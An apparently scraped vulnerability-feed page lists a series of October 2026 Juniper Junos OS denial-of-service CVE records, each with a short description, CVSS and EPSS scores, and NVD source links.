A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent attacker to cause a denial of service via an established LDP session when two misconfigured neighbors (or one neighbor duplicated by an L2 loop) advertise the same transport address on a link-protected interface.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Out-of-bounds Write vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated attacker to cause a routing-plane denial of...
https://kevwire.com/record/CVE-2026-102017
An Out-of-bounds Write vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated attacker to cause a routing-plane denial of... (Oct 14, 2026).
An Out-of-bounds Write vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated attacker to cause a routing-plane denial of service via Auto-RP mapping announcements received when Auto-RP mapping is enabled.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102017).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102017&date=2026-10-25).
Sources:
NVD CVE-2026-102017: https://nvd.nist.gov/vuln/detail/CVE-2026-102017
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102017&date=2026-10-25
An Out-of-bounds Write vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated attacker to cause a routing-plane denial of service via Auto-RP mapping announcements received when Auto-RP mapping is enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a...
https://kevwire.com/record/CVE-2026-102018
A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a... (Oct 14, 2026).
A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial-of-service condition via a malformed PIM Bidir message.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102018).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102018&date=2026-10-25).
Sources:
NVD CVE-2026-102018: https://nvd.nist.gov/vuln/detail/CVE-2026-102018
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102018&date=2026-10-25
A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial-of-service condition via a malformed PIM Bidir message.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Validation of Specified Quantity in Input vulnerability in the rpd process of Juniper Networks Junos OS and Junos Evolved allows an unauthenticated adjacent attacker...
https://kevwire.com/record/CVE-2026-102019
An Improper Validation of Specified Quantity in Input vulnerability in the rpd process of Juniper Networks Junos OS and Junos Evolved allows an unauthenticated adjacent attacker... (Oct 14, 2026).
An Improper Validation of Specified Quantity in Input vulnerability in the rpd process of Juniper Networks Junos OS and Junos Evolved allows an unauthenticated adjacent attacker to cause a denial-of-service condition via a malformed RIPv2 message.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102019).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102019&date=2026-10-25).
Sources:
NVD CVE-2026-102019: https://nvd.nist.gov/vuln/detail/CVE-2026-102019
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102019&date=2026-10-25
An Improper Validation of Specified Quantity in Input vulnerability in the rpd process of Juniper Networks Junos OS and Junos Evolved allows an unauthenticated adjacent attacker to cause a denial-of-service condition via a malformed RIPv2 message.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent network attacker to cause a...
https://kevwire.com/record/CVE-2026-102021
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent network attacker to cause a... (Oct 14, 2026).
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent network attacker to cause a denial of service via a crafted RSVP packet when MPLS-TE RSVP processing is enabled. The condition can terminate rpd and disrupt routing protocol sessions.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102021).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102021&date=2026-10-25).
Sources:
NVD CVE-2026-102021: https://nvd.nist.gov/vuln/detail/CVE-2026-102021
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102021&date=2026-10-25
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent network attacker to cause a denial of service via a crafted RSVP packet when MPLS-TE RSVP processing is enabled. The condition can terminate rpd and disrupt routing protocol sessions.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Missing Release of Memory after Effective Lifetime vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent...
https://kevwire.com/record/CVE-2026-102032
A Missing Release of Memory after Effective Lifetime vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent... (Oct 14, 2026).
A Missing Release of Memory after Effective Lifetime vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service via crafted packets when the static MAC-IP feature is in use.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102032).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102032&date=2026-10-25).
Sources:
NVD CVE-2026-102032: https://nvd.nist.gov/vuln/detail/CVE-2026-102032
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102032&date=2026-10-25
A Missing Release of Memory after Effective Lifetime vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service via crafted packets when the static MAC-IP feature is in use.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Validation of Specified Quantity in Input vulnerability in l2ald of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of...
https://kevwire.com/record/CVE-2026-102033
An Improper Validation of Specified Quantity in Input vulnerability in l2ald of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of... (Oct 14, 2026).
An Improper Validation of Specified Quantity in Input vulnerability in l2ald of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service via an ICCP MC-LAG message.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102033).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102033&date=2026-10-25).
Sources:
NVD CVE-2026-102033: https://nvd.nist.gov/vuln/detail/CVE-2026-102033
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102033&date=2026-10-25
An Improper Validation of Specified Quantity in Input vulnerability in l2ald of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service via an ICCP MC-LAG message.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the l2ald daemon of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured ICCP peer to cause a...
https://kevwire.com/record/CVE-2026-102034
A Reachable Assertion vulnerability in the l2ald daemon of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured ICCP peer to cause a... (Oct 14, 2026).
A Reachable Assertion vulnerability in the l2ald daemon of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured ICCP peer to cause a denial of service via a malformed MC-LAG message.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102034).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102034&date=2026-10-25).
Sources:
NVD CVE-2026-102034: https://nvd.nist.gov/vuln/detail/CVE-2026-102034
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102034&date=2026-10-25
A Reachable Assertion vulnerability in the l2ald daemon of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured ICCP peer to cause a denial of service via a malformed MC-LAG message.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service via an ICCP...
https://kevwire.com/record/CVE-2026-102035
A Reachable Assertion vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service via an ICCP... (Oct 14, 2026).
A Reachable Assertion vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service via an ICCP peer message when MC-LAG IRB MAC synchronization is enabled.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102035).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102035&date=2026-10-25).
Sources:
NVD CVE-2026-102035: https://nvd.nist.gov/vuln/detail/CVE-2026-102035
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102035&date=2026-10-25
A Reachable Assertion vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service via an ICCP peer message when MC-LAG IRB MAC synchronization is enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Integer Overflow or Wraparound vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows a configured EVPN BGP peer to cause a denial of...
https://kevwire.com/record/CVE-2026-102036
An Integer Overflow or Wraparound vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows a configured EVPN BGP peer to cause a denial of... (Oct 14, 2026).
An Integer Overflow or Wraparound vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows a configured EVPN BGP peer to cause a denial of service via EVPN Type-2 MAC/IP routes.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102036).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102036&date=2026-10-25).
Sources:
NVD CVE-2026-102036: https://nvd.nist.gov/vuln/detail/CVE-2026-102036
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102036&date=2026-10-25
An Integer Overflow or Wraparound vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows a configured EVPN BGP peer to cause a denial of service via EVPN Type-2 MAC/IP routes.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service via a...
https://kevwire.com/record/CVE-2026-102039
A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service via a... (Oct 14, 2026).
A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service via a malformed RSVP Path message received on an EVPL LMP control channel.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102039).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102039&date=2026-10-25).
Sources:
NVD CVE-2026-102039: https://nvd.nist.gov/vuln/detail/CVE-2026-102039
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102039&date=2026-10-25
A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service via a malformed RSVP Path message received on an EVPL LMP control channel.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A NULL Pointer Dereference vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to crash the...
https://kevwire.com/record/CVE-2026-102040
A NULL Pointer Dereference vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to crash the... (Oct 14, 2026).
A NULL Pointer Dereference vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to crash the routing daemon and cause a denial of service via an RSVP Path message.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102040).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102040&date=2026-10-25).
Sources:
NVD CVE-2026-102040: https://nvd.nist.gov/vuln/detail/CVE-2026-102040
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102040&date=2026-10-25
A NULL Pointer Dereference vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to crash the routing daemon and cause a denial of service via an RSVP Path message.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated network attacker to cause a...
https://kevwire.com/record/CVE-2026-102041
A Reachable Assertion vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated network attacker to cause a... (Oct 14, 2026).
A Reachable Assertion vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated network attacker to cause a denial of service via malformed RSVP signaling when RSVP is enabled.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102041).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102041&date=2026-10-25).
Sources:
NVD CVE-2026-102041: https://nvd.nist.gov/vuln/detail/CVE-2026-102041
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102041&date=2026-10-25
A Reachable Assertion vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated network attacker to cause a denial of service via malformed RSVP signaling when RSVP is enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to crash the routing process via RSVP-TE...
https://kevwire.com/record/CVE-2026-102042
A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to crash the routing process via RSVP-TE... (Oct 14, 2026).
A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to crash the routing process via RSVP-TE associated-bidirectional LSP signaling.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102042).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102042&date=2026-10-25).
Sources:
NVD CVE-2026-102042: https://nvd.nist.gov/vuln/detail/CVE-2026-102042
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102042&date=2026-10-25
A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to crash the routing process via RSVP-TE associated-bidirectional LSP signaling.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Numeric Truncation Error vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to crash the routing process via MPLS-TE...
https://kevwire.com/record/CVE-2026-102043
A Numeric Truncation Error vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to crash the routing process via MPLS-TE... (Oct 14, 2026).
A Numeric Truncation Error vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to crash the routing process via MPLS-TE fast-reroute signaling.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102043).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102043&date=2026-10-25).
Sources:
NVD CVE-2026-102043: https://nvd.nist.gov/vuln/detail/CVE-2026-102043
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102043&date=2026-10-25
A Numeric Truncation Error vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to crash the routing process via MPLS-TE fast-reroute signaling.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP-LS peer to cause a denial of service via a BGP-LS...
https://kevwire.com/record/CVE-2026-102044
A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP-LS peer to cause a denial of service via a BGP-LS... (Oct 14, 2026).
A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP-LS peer to cause a denial of service via a BGP-LS update.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102044).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102044&date=2026-10-25).
Sources:
NVD CVE-2026-102044: https://nvd.nist.gov/vuln/detail/CVE-2026-102044
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102044&date=2026-10-25
A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP-LS peer to cause a denial of service via a BGP-LS update.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Out-of-bounds Write Out-of-bounds Write vulnerability in lacpd of Juniper Networks Junos OS Evolved allows a Layer-2-adjacent attacker to cause a denial of service via a...
https://kevwire.com/record/CVE-2026-102045
An Out-of-bounds Write Out-of-bounds Write vulnerability in lacpd of Juniper Networks Junos OS Evolved allows a Layer-2-adjacent attacker to cause a denial of service via a... (Oct 14, 2026).
An Out-of-bounds Write Out-of-bounds Write vulnerability in lacpd of Juniper Networks Junos OS Evolved allows a Layer-2-adjacent attacker to cause a denial of service via a crafted frame received on an LACP-enabled aggregated-Ethernet member port.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102045).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102045&date=2026-10-25).
Sources:
NVD CVE-2026-102045: https://nvd.nist.gov/vuln/detail/CVE-2026-102045
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102045&date=2026-10-25
An Out-of-bounds Write Out-of-bounds Write vulnerability in lacpd of Juniper Networks Junos OS Evolved allows a Layer-2-adjacent attacker to cause a denial of service via a crafted frame received on an LACP-enabled aggregated-Ethernet member port.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in netsctp.ko of Juniper Networks Junos OS on MX Series allows an unauthenticated network attacker to cause...
https://kevwire.com/record/CVE-2026-102046
A Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in netsctp.ko of Juniper Networks Junos OS on MX Series allows an unauthenticated network attacker to cause... (Oct 14, 2026).
A Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in netsctp.ko of Juniper Networks Junos OS on MX Series allows an unauthenticated network attacker to cause a denial of service via crafted SCTP network traffic.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102046).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102046&date=2026-10-25).
Sources:
NVD CVE-2026-102046: https://nvd.nist.gov/vuln/detail/CVE-2026-102046
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102046&date=2026-10-25
A Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in netsctp.ko of Juniper Networks Junos OS on MX Series allows an unauthenticated network attacker to cause a denial of service via crafted SCTP network traffic.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Validation of Consistency within Input vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated Layer 2...
https://kevwire.com/record/CVE-2026-102047
An Improper Validation of Consistency within Input vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated Layer 2... (Oct 14, 2026).
An Improper Validation of Consistency within Input vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated Layer 2 attacker to cause a denial of service in associated Layer 2 control protocols via a crafted MVRP Ethernet frame sent to an MVRP-enabled interface.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102047).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102047&date=2026-10-25).
Sources:
NVD CVE-2026-102047: https://nvd.nist.gov/vuln/detail/CVE-2026-102047
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102047&date=2026-10-25
An Improper Validation of Consistency within Input vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated Layer 2 attacker to cause a denial of service in associated Layer 2 control protocols via a crafted MVRP Ethernet frame sent to an MVRP-enabled interface.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Allocation of Resources Without Limits or Throttling vulnerability in the l2cpd process of Juniper Networks Junos OS allows an adjacent unauthenticated attacker to cause a...
https://kevwire.com/record/CVE-2026-102048
An Allocation of Resources Without Limits or Throttling vulnerability in the l2cpd process of Juniper Networks Junos OS allows an adjacent unauthenticated attacker to cause a... (Oct 14, 2026).
An Allocation of Resources Without Limits or Throttling vulnerability in the l2cpd process of Juniper Networks Junos OS allows an adjacent unauthenticated attacker to cause a denial of service and l2cpd restart via FNP-enabled Layer 2 interfaces. The issue is triggered when the FNP feature is enabled on a VPLS routing instance with VLAN-VPLS encapsulation enabled.

This issue affects all platforms except the PTX Series and SRX Series.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102048).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102048&date=2026-10-25).
Sources:
NVD CVE-2026-102048: https://nvd.nist.gov/vuln/detail/CVE-2026-102048
